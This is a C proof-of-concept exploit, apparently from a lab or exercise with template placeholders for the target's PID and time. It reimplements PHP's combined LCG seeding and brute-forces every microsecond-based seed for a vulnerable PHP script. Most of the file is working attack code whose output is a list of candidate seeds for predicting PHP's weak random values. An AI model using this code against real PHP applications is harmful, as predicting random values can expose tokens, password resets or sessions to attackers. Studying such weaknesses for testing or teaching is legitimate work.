#include <stdio.h>
#include <sys/time.h>
#include <unistd.h>
#include <stdint.h>
#include "zend_long.h"

typedef struct {
	int32_t s1;
	int32_t s2;
	int seeded;
} php_lcg_globals;

#define MODMULT(a, b, c, m, s) q = s/a;s=b*(s-a*q)-c*q;if(s<0)s+=m

//!!!!!!!!!!!!!!!!!!!!MANIPULATE HERE!!!!!!!!!!!!!!!!!!!!!
// time(0)  - Epochtime
// getpid() - PID
#define GENERATE_BAD_SEED(a, b, c, d, e) (((zend_long) (c * b)) ^ ((zend_long) (1000000.0 * bad_php_combined_lcg(a,b,c,d,e))))
//==============================================================================



static void bad_lcg_seed(php_lcg_globals* lcg, int pid, long epoch, long uepoch, int uepochOffset)
{
    //!!!!!!!!!!!!!!!!!!!!MANIPULATE HERE!!!!!!!!!!!!!!!!!!!!!
    // tv_sec  - Epochtime
    // tv_usec - Microseconds

	lcg->s1 = epoch ^ (uepoch<<11);


    //!!!!!!!!!!!!!!!!!!!!MANIPULATE HERE!!!!!!!!!!!!!!!!!!!!!
    // getpid() - PID
	lcg->s2 = (zend_long) pid;


    //!!!!!!!!!!!!!!!!!!!!MANIPULATE HERE!!!!!!!!!!!!!!!!!!!!!
    // tv_sec  - Epochtime
    // tv_usec - Microseconds
    // NOTE: This changes aproximately 0-50 microseconds,
    //      usually pretty low diff, between 2-15 microseconds
    //      even with the t1 test variable assignment,
    //      branch out a bit for throughness or something like that
	//
	// NOTE: No matter what the microsecond offset is, there can only be
	//		1,000,000 different seeds that can be generated based
	//
    //
    //EX1:
    //  T1 1652329601:140779
    //  T2 1652329601:140781
    //EX2:
    //  T1 1652329669:979376
    //  T2 1652329669:979386

	lcg->s2 ^= ((uepoch + uepochOffset)<<11);

	lcg->seeded = 1;
}

double bad_php_combined_lcg(php_lcg_globals* lcg, int pid, long epoch, long uepoch, int uepochOffset)
{
	int32_t q;
	int32_t z;

	if (!lcg->seeded) {
		bad_lcg_seed(lcg, pid, epoch, uepoch, uepochOffset);
	}

	MODMULT(53668, 40014, 12211, 2147483563L, lcg->s1);
	MODMULT(52774, 40692, 3791, 2147483399L, lcg->s2);

	z = lcg->s1 - lcg->s2;
	if (z < 1) {
		z += 2147483562;
	}

	return z * 4.656613e-10;
}

//==============================================================================

int main(void){
    php_lcg_globals test;

    // tv_usec is a long int (32 bits) and is between 0 and 999999 (1000000 possible values)
    // tv_usec is in microseconds


    // RUN WHEN READY:
    // gcc test_exploit.c -o test_exploit
    // ./test_exploit > seeds.lst	# seeds.lst will need to be stripped of duplicate seeds!
    // php test_vuln.php


	int pid = ${K};
	long epoch = ${L};
    long uepoch = 0;
    int uepochOffset = 0;
    const int MAX_UEPOCH_OFFSET = 14;


    // MUST initialize and reinitialize test.seeded to 0
    test.s1 = 0;
    test.s2 = 0;
    test.seeded = 0;

    for(uepoch = 1; uepoch < 1000000; uepoch++){
        for(uepochOffset = 0; uepochOffset <= MAX_UEPOCH_OFFSET; uepochOffset++){
            test.seeded = 0;
            printf("%ld\n", GENERATE_BAD_SEED(&test, pid, epoch, uepoch, uepochOffset));
        }
    }


    return 0;
}

//==============================================================================
